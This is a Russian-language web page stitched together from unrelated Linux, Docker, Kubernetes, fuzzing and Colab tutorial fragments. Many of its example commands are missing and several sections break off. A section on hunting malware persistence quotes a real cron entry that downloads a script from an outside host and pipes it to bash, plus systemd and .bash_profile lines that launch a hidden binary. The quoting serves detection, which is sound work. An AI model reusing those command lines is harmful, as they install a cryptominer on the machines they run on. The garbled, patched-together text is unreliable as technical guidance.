Nick7zmail

Опции

-a или —archive

То же, что и -dR —preserve=all

—attributes-only
Не копировать содержимое файла. Скопировать только атрибуты файла.

—backup=МЕТОД
Если файл назначения существует, то создать для каждого такого файла резервную копию.

МЕТОД определяет, каким образом формируется имя резервной копии. МЕТОД может принимать значения:

  • none или off — не делать резервных копий, даже если включена опция —backup
  • numbered или t — имя резервной копии получит числовой индекс (пример: myfile.txt~2~).
  • existing или nil — если в директории уже есть резервные копии с числовыми индексами, то использовать числовые индексы для новых резервных копий, во всех остальных случаях использовать метод simple.
  • simple или never — делать обычные резервные копии (пример: myfile.txt~).

-b
То же, что и —backup, но без аргументов.

—copy-contents
Скопировать содержимое специальных файлов (файлов устройств и FIFO) при рекурсивном копировании. Данную опцию использовать не рекомендуется.

-d
То же, что и —no-dereference —preserve=links

-f или —force

Если файл назначения существует и не может быть открыт, то удалить его и попытаться снова (данная опция игнорируется, если используется опция -n).

-i или —interactive

Вывести запрос на подтверждение перезаписи существующего файла.

-H
Переходить по символическим ссылкам, указанным в качестве источника.

-n или —no-clobber

Не перезаписывать существующие файлы.

-P или —no-dereference

Никогда не разыменовывать символические ссылки. Ссылки копируются, как символические ссылки.

-p
То же, что и —preserve=mode,ownership,timetamps

—preserve=СписокАтрибутов
Сохранять у файлов атрибуты, указанные через запятую в списке СписокАтрибутовЕсли возможно, то можно использовать дополнительные атрибуты: context, links, xattr, all

—no-preserve=СписокАтрибутов
Не сохранять атрибутиы, указанные в списке СписокАтрибутов

—parents
Формировать результирующее имя (результирующий путь) каждого копируемого файла с учетом полного пути, который указан для данного файла.

Например, при использовании команды cp —parents a/b/myfile dstdir, файл myfile будет скопирован в директорию dstdir/a/b. То есть будут созданы промежуточные директории.

-R или -r или —recursive

Копировать директории. Используется рекурсивное копирование — копируются директории и все их содержимое.

—reflink=КОГДА
Создавать или не создавать «легкую» клонированную копию файла, если данная функциональность поддерживается файловой системой.

КОГДА может принимать значения:always — всегда создавать «легкую» копию файла. Создается ссылка на исходные данные. Фактического копирования данных не происходит. Блоки данных копируются только тогда, когда они изменяются.auto — создается обычная полная копия.

—remove-destination
Удалить каждый существующий файл.

—sparse=КОГДА
Опция задает то, как будет выполняться копирование разреженных (sparse) файлов. Разреженный файл — это файл, в котором последовательности нулевых байтов (дыры) заменены на информацию об этих последовательностях. То есть в метаданных файла содержится список дыр.

КОГДА может принимать значения:auto — (поведение по умолчанию) копировать разреженные файлы в разреженные файлы.always — результирующий файл всегда разреженный, если в исходном есть достаточное количество нулевых последовательностей.never — не делать результирующие файлы разреженными.

—strip-trailing-slashes
Удалить у каждого исходного файла символ слеш на конце.

-s или —symbolic-link

Создать символические ссылки вместо копирования.

-s СУФФИКС или —suffix=СУФФИКС

Изменить символ суффикса, который добавляется к именам резервных копий (при использовании опции —backup). По умолчанию СУФФИКС равен значку тильды ~

-t ДИРЕКТОРИЯ или —target-directory=ДИРЕКТОРИЯ

Скопировать все исходные файлы в ДИРЕКТОРИЮ

-T или —no-target-directory

Считать, что файл назначения это обычный файл.

-u или —update

Перемещать только если исходный файл новее, чем файл назначения или если файл-назначения отсутствует.

-v или —verbose

Выводить информацию о каждом файле, который обрабатывает команда cp.

-x или —one-file-system

Пропускать директории, расположенные на других файловых системах.

-Z
Установить контекст SELinux для результирующего файла в значение по умолчанию.

—context=CTX
Установить контекст SELinux или SMACK в значение CTX.

—help
Показать справку по команде cp.

—version
Показать версию утилиты cp.

Возможные проблемы

Рассмотрим некоторые проблемы, которые могут возникнуть в процессе настройки.

1. Errors during downloading metadata for repository ‘AppStream’

Ошибка возникает при попытке собрать имидж на Linux CentOS 8. Полный текст ошибки может быть такой:

Errors during downloading metadata for repository ‘AppStream’:
  — Curl error (6): Couldn’t resolve host name for http://mirrorlist.centos.org/?release=8&arch=x86_64&repo=AppStream&infra=container
Error: Failed to download metadata for repo ‘AppStream’: Cannot prepare internal mirrorlist: Curl error (6): Couldn’t resolve host name for http://mirrorlist.centos.org/?release=8&arch=x86_64&repo=AppStream&infra=container

Причина: система внутри контейнера не может разрешить dns-имена в IP-адрес.

Решение: в CentOS 8 запросы DNS могут блокироваться брандмауэром, когда в качестве серверной части (backend) стоит nftables. Переключение на iptables решает проблему. Открываем файл:

vi /etc/firewalld/firewalld.conf

Находим строку:

FirewallBackend=nftables

… и меняем ее на:

FirewallBackend=iptables

Перезапускаем сервис firewalld:

systemctl restart firewalld

Pods

Поды — неделимая сущность объекта в Kubernetes. Каждый Pod может включать в себя несколько контейнеров (минимум, 1). Рассмотрим несколько примеров, как работать с подами. Все команды выполняем на мастере.

Создание

Поды создаются командой kubectl, например:

kubectl run nginx —image=nginx:latest —port=80

* в данном примере мы создаем под с названием nginx, который в качестве образа Docker будет использовать nginx (последнюю версию); также наш под будет слушать запросы на порту 80.

Чтобы получить сетевой доступ к созданному поду, создаем port-forward следующей командой:

kubectl port-forward nginx —address 0.0.0.0 8888:80

* в данном примере запросы к кластеру kubernetes на порт 8888 будут вести на порт 80 (который мы использовали для нашего пода).

Команда kubectl port-forward является интерактивной. Ее мы используем только для тестирования. Чтобы пробросить нужные порты в Kubernetes используются Services — об этом будет сказано ниже.

Можно открыть браузер и ввести адрес http://<IP-адрес мастера>:8888 — должна открыться страница приветствия для NGINX.

Просмотр

Получить список всех подов в кластере можно командой:

kubectl get pods

Например, в нашем примере мы должны увидеть что-то на подобие:

NAME    READY   STATUS    RESTARTS   AGE
nginx   1/1     Running   0          3m26s

Посмотреть подробную информацию о конкретном поде можно командой:

kubectl describe pods nginx

Запуск команд внутри контейнера

Мы можем запустить одну команду в контейнере, например, такой командой:

kubectl exec nginx — date

* в данном примере будет запущена команда date внутри контейнера nginx.

Также мы можем подключиться к командной строке контейнера командой:

kubectl exec —tty —stdin nginx — /bin/bash

Для удаления пода вводим:

kubectl delete pods nginx

Использование манифестов

В продуктивной среде управление подами выполняется с помощью специальных файлов с описанием того, как должен создаваться и настраиваться под — манифестов. Рассмотрим пример создания и применения такого манифеста.

Создадим файл формата yml:

vi manifest_pod.yaml

apiVersion: v1
kind: Pod
metadata: 
  name: web-srv
  labels:
    app: web_server
    owner: dmosk
    description: web_server_for_site
spec:
  containers: 
    — name: nginx
      image: nginx:latest
      ports:
        — containerPort: 80
        — containerPort: 443
    — name: php-fpm
      image: php-fpm:latest
      ports:
        — containerPort: 9000
    — name: mariadb
      image: mariadb:latest
      ports:
        — containerPort: 3306

* в данном примере будет создан под с названием web-srv; в данном поде будет развернуто 3 контейнера — nginx, php-fpm и mariadb на основе одноименных образов.

Для объектов Kubernetes очень важное значение имеют метки или labels. Необходимо всегда их описывать

Далее, данные метки могут использоваться для настройки сервисов и развертываний.

Чтобы применить манифест выполняем команду:

kubectl apply -f manifest_pod.yaml

Мы должны увидеть ответ:

pod/web-srv created

Смотрим поды командой:

kubectl get pods

Мы должны увидеть:

NAME      READY   STATUS    RESTARTS   AGE
web-srv   3/3     Ready     0          3m11s

* для Ready мы можем увидеть 0/3 или 1/3 — это значит, что контейнеры внутри пода еще создаются и нужно подождать.

Что такое Dockerfile

Dockerfile — это текстовый файл, содержащий все команды, которые пользователь может запустить в командной строке для создания образа. Он включает в себя все инструкции, необходимые Docker для создания образа.

Образы Docker состоят из серии слоев файловой системы, представляющих инструкции в файле Dockerfile образа, составляющем исполняемое программное приложение.

Файл Docker имеет следующую форму:

не чувствительна к регистру, но по соглашению для ее имен используется ЗАПИСЬ.

Ниже приведен список с кратким описанием некоторых из наиболее часто используемых инструкций Dockerfile:

  • ARG — эта инструкция позволяет вам определять переменные, которые могут быть переданы во время сборки. Вы также можете установить значение по умолчанию.
  • FROM — базовое изображение для построения нового изображения. Эта инструкция должна быть первой инструкцией без комментариев в Dockerfile. Единственное исключение из этого правила — когда вы хотите использовать переменную в аргументе . В этом случае может предшествовать одна или несколько инструкций .
  • LABEL — используется для добавления метаданных к изображению, таких как описание, версия, автор и т. Д. Вы можете указать несколько , и каждая инструкция представляет собой пару «ключ-значение».
  • RUN — команды, указанные в этой инструкции, будут выполняться в процессе сборки. Каждая инструкция создает новый слой поверх текущего изображения.
  • ДОБАВИТЬ — используется для копирования файлов и каталогов из указанного источника в указанное место назначения в образе докера. Источником могут быть локальные файлы, каталоги или URL. Если источником является локальный tar-архив, он автоматически распаковывается в образ Docker.
  • КОПИРОВАТЬ — аналогично но источником может быть только локальный файл или каталог.
  • ENV — Эта инструкция позволяет вам определить переменную среды.
  • CMD — используется для указания команды, которая будет выполняться при запуске контейнера. Вы можете использовать только одну инструкцию в своем Dockerfile.
  • ENTRYPOINT — аналогично , эта инструкция определяет, какая команда будет выполняться при запуске контейнера.
  • WORKDIR — эта директива устанавливает текущий рабочий каталог для инструкций , , , и .
  • ПОЛЬЗОВАТЕЛЬ — Установите имя пользователя или для использования при выполнении любых следующих инструкций , , , и .
  • VOLUME — позволяет подключить каталог хост-машины к контейнеру.
  • EXPOSE — используется для указания порта, на котором контейнер прослушивает во время выполнения.

Чтобы исключить добавление файлов и каталогов в образ, создайте файл в контекстном каталоге. Синтаксис аналогичен файла Git.

Создание текстовых файлов в терминале Linux.

Текстовый файл в терминале Linux можно создать тремя способами.

1. С помощью команды touch:

Вводим команду touch, затем путь и название нового файла.

Например, создадим текстовый файл в текущей директории с именем file.txt:

2. С помощью перенаправления стандартного потока вывода любой команды.

О перенаправлении стандартных потоках вывода в файл более подробно будет рассказано в одной из следующих статей о терминале Linux.

Создать файл можно также перенаправлением вывода любой команды в файл.

В общем виде команда будет следующей:

То есть, команда с выводом, затем галочка вправо >, означающая перенаправление вывода команды в файл и путь к файлу.

Например, перенаправим вывод справки команды ls в файл, который будет создан (а если такой файл есть, то он будет полностью перезаписан):

Но это мы создали не пустой файл, а если хотим создать пустой, то воспользуемся командой echo c переданной ей пустой строкой (две одинарных ковычки) и перенаправим это в файл:

3. С помощью любого текстового редактора, консольного или с графическим интерфейсом.

Передаем команду запуска любого текстового редактора и путь к файлу.

Самый простой консольный текстовый редактор это nano:

Или с помощью текстового редактора с графическим интерфейсом, который установлен в Gnome по умолчанию:

Про манипуляции с текстом более подробно в одной из следующих статей о терминале Linux.

Problems

Some features (or bugs) of the target code may complicate fuzzing and hide
other bugs from you.

OOMs

Out-of-memory (OOM) bugs slowdown in-process fuzzing immensely.
By default libFuzzer limits the amount of RAM per process by 2Gb.

Try fuzzing the woff benchmark with an empty seed corpus:

cd ~/woff
mkdir NEW_CORPUS
./woff2-2016-05-06-fsanitize_fuzzer NEW_CORPUS -jobs=8 -workers=8

Pretty soon you will hit an OOM bug:

The benchmark directory
also contains a reproducer for the OOM bug.
Find it. Can you reproduce the OOM?

Sometimes using 2Gb per one target invocation is not a bug,
and so you can use to set another limit.`

Leaks

Memory leaks are bugs themselves, but if they go undetected they cause OOMs
during in-process fuzzing.

However, not all leaks are easily detectable as such and if they evade
LeakSanitizer libFuzzer will eventually die with OOM (see above).

Timeouts

Timeouts are equally bad for in-process fuzzing.
If some intput takes more than 1200 seconds to run libFuzzer will report a
«timeout» error and exit, dumping the reproducer on disk.
You may change the default timeout with .

Slow inputs

libFuzzer distinguishes between slow and very slow inputs.
Very slow inputs will cause while just slow
will be reported during the run (with reproducers dumped on disk) but will
not cause the process to exit. Use to set the threshold
for just slow units.

Parallel runs

Another way to increase the fuzzing efficiency is to use more CPUs.
If you run the fuzzer with it will spawn N independent jobs
but no more than half of the number of cores you have;
use to set the number of allowed parallel jobs.

cd ~/woff
./woff2-2016-05-06-fsanitize_fuzzer MY_CORPUS/ seeds/ -jobs=8

On a 8-core machine this will spawn 4 parallel workers. If one of them dies, another one will be created, up to 8.

Let’s look at one of the log files, . You will see lines like this:

Such lines show that this instance of the fuzzer has reloaded the corpus (only the first directory is reloaded)
and found some new interesting inputs created by other instances.

If you are both impatient and curious you may feed a provided crash reproducer to see the bug:

See also

Поиск следов закрепления вредоносного ПО

Поиск недавно созданных файлов

Инструментарий:

  • Практические примеры использования команды find в Linux
  • Команда find: поиск в файловой системе по любым свойствам файла

Поиск файлов в указанной папке, которые были изменены менее 1 дня назад:

find /bin/ -mtime -1

Вывод:

  • /bin/
  • /bin/sysdr
  • /bin/bprofr
  • /bin/crondr
  • /bin/core_perl

Выделенные файлы — это вирусы (проверил на virustotal.com).

Чтобы найти все файлы, которые были изменены ровно 50 дней назад:

find / -mtime 50

Чтобы найти все файлы, к которым был получен доступ ровно 50 дней назад:

find / -atime 50

Чтобы найти все файлы, которые были модифицированы более 50 дней назад и менее 100 дней назад:

find / -mtime +50 -mtime -100

Чтобы найти файлы, свойства которых (права доступа, владелец, группа) были изменены за последний час:

find / -cmin -60

Чтобы найти файлы, которые были модифицированы за последний час:

find / -mmin -60

Чтобы найти все файлы, доступ к которым был сделан за последний час:

find / -amin -60

Поиск служб в автозагрузке

Инструментарий:

  • Как использовать Systemctl для управления службами Systemd и юнитами
  • Как в Linux добавить программу в автозагрузку

Если вы хотите посмотреть только юниты, добавленные в автозагрузку, то используйте следующую конструкцию:

systemctl list-unit-files | grep enabled

Посмотрите на две службы с именами:

  • pwnrige.service
  • pwnrigl.service

На самом деле, вредоносное ПО может модифицировать файлы Systemctl и заменить собой любую службу или выбрать менее вызывающее название, но в данном случае очевидно, что это посторонние сервисы.

Можно посмотреть, что там внутри:

sudo systemctl edit pwnrige.service
sudo systemctl edit pwnrigl.service

Или так:

cat /etc/systemd/system/pwnrige.service
cat /usr/lib/systemd/system/pwnrigl.service

Следующая строка

/bin/bash -c 'cp -f -r -- /bin/sysdr /bin/dbused 2>/dev/null && /bin/dbused -c >/dev/null 2>&1 && rm -rf -- /bin/dbused 2>/dev/null'

Говорит нам о том, что файл вируса спрятан в /bin/sysdr.

Поиск в директориях /etc/systemd/system/ и /usr/lib/systemd/system/ файлов созданных за последний день:

find /etc/systemd/system/ /usr/lib/systemd/system/ -mtime -1

Знакомые нам файлы:

  • /etc/systemd/system/pwnrige.service
  • /usr/lib/systemd/system/pwnrigl.service

Поиск по содержимому файлов (по тексту)

Инструментарий:

Регулярные выражения и команда grep

Поиск строк sysdr или cp в директориях /etc/systemd/system/ и /usr/lib/systemd/system/:

grep --color -E '(sysdr)|(cp )' /etc/systemd/system/* /usr/lib/systemd/system/* 2>/dev/null

Расписания задач Cron

Инструментарий:

Как вывести все задачи Cron

Следующие две команды покажут содержимое задач Cron для всех пользователей:

for user in $(cut -f1 -d: /etc/passwd); do sudo crontab -u $user -l 2>/dev/null | grep -v '^#'; done

Более гибкий вариант, не рассчитывает на имена пользователей:

grep '*' --color /etc/anacrontab /var/spool/cron/crontabs/* /var/spool/cron/* /etc/cron.hourly/* /etc/cron.daily/* /etc/cron.weekly/* /etc/cron.monthly/* /etc/cron.d/* /etc/init.d/down 2>/dev/null

Обратите внимание, как прочно укоренился вирус в системе:

(curl -fsSL http://bash.givemexyz.in/xms||wget -q -O- http://bash.givemexyz.in/xms||python -c 'import urllib2 as fbi;print fbi.urlopen("http://bash.givemexyz.in/xms").read()')| bash -sh; lwp-download http://bash.givemexyz.in/xms /xms; bash /xms; /xms; rm -rf /xms

Этот набор команд, который должен выполняться с периодичность 1 раз в минуту, прописан в следующих файлах:

  • /etc/cron.d/root
  • /etc/cron.d/nginx
  • /etc/cron.d/apache
  • /var/spool/cron/root

Автоматически выполняемые скрипты

Инструментарий:

Различия между Login shell и Non login shell (оболочка с входом и оболочка без входа)

В Linux имеются скрипты, которые выполняются автоматически при входе пользователя в систему.

Некоторые из этих скриптов общие для всех пользователей, некоторые — у каждого пользователя свои:

  • /etc/profile
  • /etc/profile.d/*
  • ~/.bash_profile
  • ~/.bashrc
  • /etc/bashrc

Если вы не знаете, что именно нужно искать, то используйте следующую команду, которая выведет содержимое для всех файлов всех пользователей:

sudo grep --color '.*' /etc/profile /etc/profile.d/* /home/*/.bash_profile /home/*/.bashrc /etc/bashrc /root/.bash_profile /root/.bashrc

Посмотрите какая неприятность — в файле /root/.bash_profile найдена следующая строка:

cp -f -r -- /bin/bprofr /bin/dbused 2>/dev/null && /bin/dbused -c >/dev/null 2>&1 && rm -rf -- /bin/dbused 2>/dev/null

Как комбинировать условия поиска lsof (логические И и ИЛИ)

Давайте выведем файлы, которые были открыты пользователем mial и которые связаны с процессами systemd. Мы знаем, что можем предоставить более одного элемента поиска в командной строке, поэтому это должно быть легко.

sudo lsof -u mial -c systemd

Теперь давайте посмотрим на вывод lsof. Это не выглядит правильно; в выводе есть записи, которые были запущены пользователем root.

Это не то что мы ожидали. Что произошло?

Если вы предоставите несколько поисковых терминов, lsof вернёт любой файл, который соответствует первому поисковому запросу или второму поисковому запросу и так далее. Другими словами, она выполняет поиск ИЛИ.

Чтобы lsof выполняла поиск И, используйте опцию -a. Это означает, что будут перечислены только те файлы, которые соответствуют первому поисковому запросу, второму поисковому запросу и т. д.

Давайте попробуем это снова и используем опцию -a.

sudo lsof -u mial -c systemd -a

Теперь каждый файл в списке — это файл, который был открыт пользователем mial или от его имени и связан с systemd.

Обратите внимание, что два условия, одно из которых содержит отрицание (^) обрабатываются как логическое И:

sudo lsof +D /home -u ^mial

Но если требуется логическое И, то лучше взять за правило всегда использовать опцию -a, поскольку так команда становиться более однозначной:

sudo lsof +D /home -u ^mial -a

и в случае добавления третьего условия поиска она будет работать как ожидается:

sudo lsof -u mial +D /home/mial -c^chromium -a

Обращение к локальным файлам через менеджер файлов

Загрузка файлов из локальной файловой системы через менеджер

Для загрузки любых файлов из локальной файловой системы в текущую рабочую директорию Colab можно воспользоваться опцией Upload в верхней части панели менеджера файлов.

Для загрузки файлов напрямую в поддиректорию нужно:

  1. Кликнуть на три точки, появляющиеся при наведении курсора на каталог.
  2. Выбрать опцию Upload.

Загрузка файлов из локальной системы в Colab

3. Выбрать файлы для загрузки из диалогового окна File Upload.

4. Подождать завершения загрузки, процесс выполнения которой отображается в нижней части панели менеджера файлов.

Процесс выполнения загрузки в Colab

По окончании процесса загрузки читать файлы можно привычным для вас способом.

Чтение файлов, загруженных в Colab

Скачивание файлов в локальную файловую систему через менеджер файлов

Кликните на три точки, появляющиеся при наведении курсора на имя файла и выберите опцию Download.

Скачивание файлов из Colab в локальную систему

Команда ls linux

Как обычно, в таких статьях сначала нам нужно понять синтаксис команды, чтобы вы знали как правильно ее использовать. На самом деле, синтаксис очень прост, вы набираете саму команду, а после нее путь к папке, содержимое которой хотите посмотреть. Если вы запустите команду без пути, то она выдаст содержимое текущего каталога:

$ ls опции/путь/к/папке

Опции команды указывают как именно и в каком виде нужно выводить информацию на экран, а путь, это та папка, которую нужно отобразить. Рассмотрим основные опции утилиты:

  • -a – отображать все файлы, включая скрытые, это те, перед именем которых стоит точка;
  • -A – не отображать ссылку на текущую папку и корневую папку . и ..;
  • –author – выводить создателя файла в режиме подробного списка;
  • -b – выводить Escape последовательности вместо непечатаемых символов;
  • –block-size – выводить размер каталога или файла в определенной единице измерения, например, мегабайтах, гигабайтах или килобайтах;
  • -B – не выводить резервные копии, их имена начинаются с ~;
  • -c – сортировать файлы по времени модификации или создания, сначала будут выведены новые файлы;
  • -C – выводить колонками;
  • –color – включить цветной режим вывода, автоматически активирована во многих дистрибутивах;
  • -d – выводить только директории, без их содержимого, полезно при рекурсивном выводе;
  • -D – использовать режим вывода, совместимый с Emacs;
  • -f – не сортировать;
  • -F – показывать тип объекта, к каждому объекту будет добавлен один из специализированных символов */=>@|;
  • –full-time – показывать подробную информацию, плюс вся информация о времени в формате ISO;
  • -g – показывать подробную информацию, но кроме владельца файла;
  • –group-directories-first – сначала отображать директории, а уже потом файлы;
  • -G – не выводить имена групп;
  • -h – выводить размеры папок в удобном для чтения формате;
  • -H – открывать символические ссылки при рекурсивном использовании;
  • –hide – не отображать файлы, которые начинаются с указанного символа;
  • -i – отображать номер индекса inode, в которой хранится этот файл;
  • -l – выводить подробный список, в котором будет отображаться владелец, группа, дата создания, размер и другие параметры;
  • -L – для символических ссылок отображать информацию о файле, на который они ссылаются;
  • -m – разделять элементы списка запятой;
  • -n – выводить UID и GID вместо имени и группы пользователя;
  • -N – выводить имена как есть, не обрабатывать контролирующие последовательности;
  • -Q – брать имена папок и файлов в кавычки;
  • -r – обратный порядок сортировки;
  • -R – рекурсивно отображать содержимое поддиректорий;
  • -s – выводить размер файла в блоках;
  • -S – сортировать по размеру, сначала большие;
  • -t – сортировать по времени последней модификации;
  • -u – сортировать по времени последнего доступа;
  • -U – не сортировать;
  • -X – сортировать по алфавиту;
  • -Z – отображать информацию о расширениях SELinux;
  • -1 – отображать один файл на одну строку.

Это были все основные параметры команды ls, которые нам может когда-либо понадобиться использовать. Их очень много, но на деле будут нужны только некоторые из них, вы их быстро запомните, а все остальные сможете всегда найти в этой статье или на странице справки man ls. А теперь давайте рассмотрим несколько примеров использования команды ls linux.

Docker compose

Doocker compose — это надстрока над docker .
Если требуется запустить несколько контейнеров, причем например каждый из контейнеров должен запускаться со своими параметрами, например:

  • 1-ый контейнер пробрасывает порт 1234, подключает вольюим X
  • 2-ой контейнер пробрасывает порт 4567, подключает volume Y
  • и.т.д

Так вот, что бы каждый раз не писать docker run с кучей параметров, все это можно прописать в специальном файле который будет запускать все контейнеры с нужными параметрами.

Создаем файл: docker-compose.yaml

Запуск всех контейнеров через docker compose:docker-compose up -d

Services

Службы позволяют обеспечить сетевую доступность для развертываний. Существует несколько типов сервисов:

  • ClusterIP — сопоставление адреса с deployments для подключений внутри кластера Kubernetes.
  • NodePort — для внешней публикации развертывания.
  • LoadBalancer — сопоставление через внешний балансировщик.
  • ExternalName — сопоставляет службу по имени (возвращает значение записи CNAME).

Мы рассмотрим первые два варианта.

Привязка к Deployments

Попробуем создать сопоставления для ранее созданного развертывания:

kubectl expose deploy web-deploy —type=ClusterIP —port=80

* где web-deploy — deployment, который мы развернули с помощью манифеста. Публикация ресурса происходит на внутреннем порту 80. Обращаться к контейнерам можно внутри кластера Kubernetes.

Для создания сопоставления, с помощью которого можно будет подключиться к контейнерам из внешней сети выполняется командой:

kubectl expose deploy web-deploy —type=NodePort —port=80

* данная команда отличается от команды выше только типом NodePort — для данному deployment будет сопоставлен порт для внешнего подключения, который будет вести на внутренний (в нашем примере, 80).

Просмотр

Чтобы посмотреть созданные нами службы, вводим:

kubectl get services

Мы можем увидеть что-то на подобие:

NAME         TYPE        CLUSTER-IP       EXTERNAL-IP   PORT(S)        AGE
web-deploy   NodePort    10.111.229.132   <none>        80:30929/TCP   21s

* в данном примере указано, что у нас есть служба типа NodePort, а к сервису можно подключиться по порту 30929.

Можно попробовать открыть браузер и ввести http://<IP-адрес мастера>:30929 — мы должны увидеть нужную нам страницу (в наших примерах, либо NGINX, либо Apache).

Посмотреть список сервисов с указанием селектором можно командой:

kubectl get services -o wide

Удаление

Удаляем созданную службу командой:

kubectl delete services web-deploy

* в данном примере будет удалена служба для развертывания web-deploy.

Удалить все службы можно командой:

kubectl delete services —all

Манифест

Как в случае с подами и развертываниями, мы можем использовать манифест-файлы. Рассмотрим небольшой пример.

vi manifest_service.yaml

apiVersion: v1
kind: Service
metadata:
  name: web-service
  labels:
    app: web_server
    owner: dmosk
    description: web_server_for_site
spec:
  selector:
    project: myweb
  type: NodePort
  ports:
    — name: app-http
      protocol: TCP
      port: 80
      targetPort: 80
    — name: app-smtp
      protocol: TCP
      port: 25
      targetPort: 25

* в данном примере мы создадим службу, которая будем связываться с развертыванием по лейболу project: myweb.

Создание/обновление Google таблицы в Colab

  1. Создаем рабочую книгу с помощью метода объекта :
wb = gc.create('demo')

2. Как только она готова, можно ее посмотреть на sheets.google.com.

Загрузка таблиц из Colab в Google Tаблицы

3. Прежде всего, открываем рабочую книгу для записи в нее значений:

ws = gc.open('demo').sheet1

4. Затем выбираем ячейки для заполнения:

Обновление таблиц в Google Tаблицах в Colab (1)

5. Таким образом мы создаем список ячеек с индексами (R1C1) и значениями (на данный момент пустыми). Можно изменить отдельные ячейки, обновив их атрибут значения:

Обновление таблиц в Google Таблицах в Colab (2)

6. Для обновления этих ячеек в рабочей таблице применяем метод :

Обновление таблиц в Google Таблицах в Colab (3)

7. Все изменения отображаются в вашей Google таблице.

Просмотр изменений

Краткий обзор Docker

Проект Docker предлагает качественные инструменты на основе некоторых функций ядра Linux, которые можно использовать в связке. Цель проекта – помочь разработчикам и системным администраторам быстро портировать и запускать приложения со всеми зависимостями.

Для этого Docker создаёт надёжное окружение на основе LXC (Linux Containers), которое называется контейнером. Такие контейнеры создаются на основе образов. Образы собираются вручную (с помощью набора команд) или автоматически (при помощи Dockerfiles).

Что такое Dockerfile?

Dockerfile – это сценарий, который состоит из последовательности команд и аргументов, необходимых для создания образа. Такие сценарии упрощают развёртывание и процесс подготовки приложения к запуску.

Сначала Dockerfile определяет образ, на основе которого будет происходить сборка. Затем идёт ряд методов, команд и аргументов, которые создадут новый образ.

Содержимое Dockerfile передаётся демону Docker для сборки образа.

Синтаксис Dockerfile

Прежде чем начать разработку Dockerfile, нужно ознакомиться с синтаксисом этого файла.

Примечание: Синтаксис – это структура, согласно которой нужно организовывать команды, аргументы и другие компоненты кода для выполнения той или иной процедуры. Такие структуры основываются на чётко обозначенных правилах, которым должно следовать каждое приложение и программа. Если в сценарии правила не соблюдены, такой сценарий не будет работать должным образом. Каждый сценарий имеет свое предназначение, и поэтому при обработке программа должна понимать, что значит его содержимое.

Синтаксис сценариев Dockerfile довольно прост и понятен.

Файловый менеджер


Чтобы создать новую папку данным способом, найдите ярлык файлового менеджера (Nautilus) в меню Dash или на панели Unity. Кликните мышкой по этому ярлыку. В перечне доступных каталогов выберите тот, в котором планируете создать новую папку. Вам необходимо перейти в него для выполнения актуальной задачи.

Предлагаем вашему вниманию альтернативный вариант: в окне файлового менеджера кликните правой кнопкой мыши для вызова контекстного меню. В списке доступных опций выберите вариант «Создать папку». Так будет еще быстрее.

Придумайте наименование для новой папки. Используйте любые цифры, символы или буквы для ввода названия в специальной графе. Единственным исключением из правила является символ косой черточки. Его использование запрещено для подобных целей.

В этом плане операционная система Linux не так строга и взыскательна, как операционная система Windows. Если внимательнее присмотреться, то можно понять без сомнений: Линукс имеет множество преимуществ в работе.

После того, как наименование будет прописано, нужно сохранить внесенные изменения. Для этого следует один раз кликнуть мышкой в окне файлового менеджера – там, где остается свободное место. Как видите, ничего сложного в этом нет.

Заключение

В данной статье представлены сразу несколько альтернативных способов создания новой папки в Линукс. Неопытному пользователю остается лишь выбрать максимально удобный вариант. Работа с консольными командами станет для новичка сущим удовольствием, как только он отважится иметь делом с терминалом.

Рейтинг
( Пока оценок нет )
Понравилась статья? Поделиться с друзьями:
Все про сервера
Добавить комментарий

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!: